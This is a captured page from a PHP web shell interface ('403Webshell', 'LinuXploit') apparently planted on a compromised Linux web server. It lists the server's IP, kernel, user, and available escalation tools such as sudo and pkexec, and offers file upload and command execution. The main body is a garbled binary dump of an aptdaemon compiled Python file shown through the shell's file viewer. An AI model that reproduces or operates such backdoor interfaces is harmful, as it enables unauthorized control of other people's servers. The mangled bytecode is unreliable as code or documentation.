403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/aptdaemon/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/aptdaemon/__pycache__/config.cpython-310.pyc
o

��S$�@sldZdZdZddlZddlZddlZe�d�ZGdd�de�Z	Gdd	�d	e�Z
d
d�Zedkr4e�dSdS)
zHandling configuration files.z%Sebastian Heinlein <devel@glatzor.de>)�ConfigWriter�NzAptDaemon.ConfigWriterc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�Valuea�Represents a value with position information.

    .. attribute:: string
        The value string.

    .. attribute:: line
        The line number of the configuration file in which the value is set.

    .. attribute:: start
        The position in the line at which the value starts.

    .. attribute:: end
        The position in the line at which the value ends.

    .. attribute:: quotes
        The outer qoutes of the value: ' or "
    cCs"d|_||_d|_||_||_dS)N�)�string�start�end�line�quotes)�selfrrr	�r�2/usr/lib/python3/dist-packages/aptdaemon/config.py�__init__4s

zValue.__init__cCs
|j|kS)N)r)r
�otherrrr�__cmp__;s
z
Value.__cmp__cCsd|j|j|j|jfS)NzValue: '%s' (line %s: %s to %s))rrrr)r
rrr�__repr__>s
�zValue.__repr__N)�__name__�
__module__�__qualname__�__doc__r
rrrrrrr s
rc@s eZdZdZdd�Zdd�ZdS)rz!Modifies apt configuration files.cCs�i}d}d}d}g}d}d}g}	d}
d}t|�D�]1\}}
t|
�D�]'\}}|s5|dkr5|dkr5d}d}q!|rJ|dkrJ|dkrJd}d}|dd�}q!|rMn�|se|dkrW|dks[|d	kred}|dd�}n�|d
vr�|rw|j|krw||_|}n�|s�t|||�}|}n�|j|7_n�|r�|j|7_n�|r�|dkr�|dkr�|�|dd��d}n�|��s�|dvr�||��7}n�|d
k�r|
r�|	�|�d}q!|	r�t�	dd�
|�|	�|	|d�
|�<g}	n|r�t�	dd�
|�|�||d�
|�<n	t�	dd�
|��d}|dk�r|��n?g}n<|dk�r|d8}d}
n0|dk�r-|d7}|�r*|�|�d}d}
n|dv�r?|�r>|�|�d}d}
ntd||
f��|}q!q|S)z�Parse an ISC based apt configuration.

        :param lines: The list of lines of a configuration file.

        :returns: Dictionary of key, values found in the parsed configuration.
        FNrTr�*�/����#z'"�:z/-:._+�;z
Found %s "%s"z::zSkipping empty key %s�}��{z	
 zUnknown char '%s' in line: '%s')
�	enumerater	rrr�append�isalpha�lower�log�debug�join�pop�
ValueError)r
�lines�options�
in_comment�in_value�	prev_char�option�value�option_name�
value_list�in_brackets�level�line_nor�char_no�charrrr�parseGs�

�






���zConfigWriter.parsec	CsB|durd}n|durd}nt|�}tj�tj�d�tj�d��}t�|�D]�}||kr-q&ttj�||���}|�	�}Wd�n1sEwY|�
|�}z||��}	Wntyp||krl|�
d||f�nYq&YnNw|dkr||	j��d	vs�|dkr�|	j��d
vs�t|�|	jkr�q&||kr�||	j}
|
d|	jd�}||7}||
|	jd�7}|||	j<n
d||	j||	j<ttj�||�d
��}t�d|�|�|�Wd�n1s�wYq&tj�tj�||���sttj�||�d
��}t�d|�d||f}
|�|
�Wd�dS1�swYdSdS)aChange the value of an option in the configuration.

        :param option: The name of the option, e.g.
            'apt::periodic::AutoCleanInterval'.
        :param value: The value of the option. Will be converted to string.
        :param defaultfile: The filename of the ``/etc/apt/apt.conf.d``
            configuration snippet in which the option should be set.
            If the value is overriden by a later configuration file snippet
            it will be disabled in the corresponding configuration file.
        T�trueF�falsezDir::EtczDir::Etc::PartsNz	%s '%s';
)�yes�with�on�enable)�no�without�off�disablerz// %s�wzWritting %s)�str�os�pathr$�apt_pkg�config�find_dir�listdir�open�	readlinesr5r!�KeyErrorrrrrrr"r#�
writelines�exists�write)r
r,r-�defaultfile�	etc_parts�filename�fdr'rE�valr�new_linerrr�	set_value�s`

�
�
��
��$��zConfigWriter.set_valueN)rrrrr5rTrrrrrCs_rcCsRt��t�}tt�d��D]}td|���}|�|�qt	|�
ddd��dS)Nz/etc/apt/apt.conf.d/z/etc/apt/apt.conf.d/%sz	huhu::abc�lumpi�	10glatzor)rD�init_configr�sortedrBrGrHrIr5�printrT)�cwrPr'rrr�main�sr[�__main__)
r�
__author__�__all__�loggingrBrD�	getLoggerr"�objectrrr[rrrrr�<module>s
#&
�

Youez - 2016 - github.com/yon3zu
LinuXploit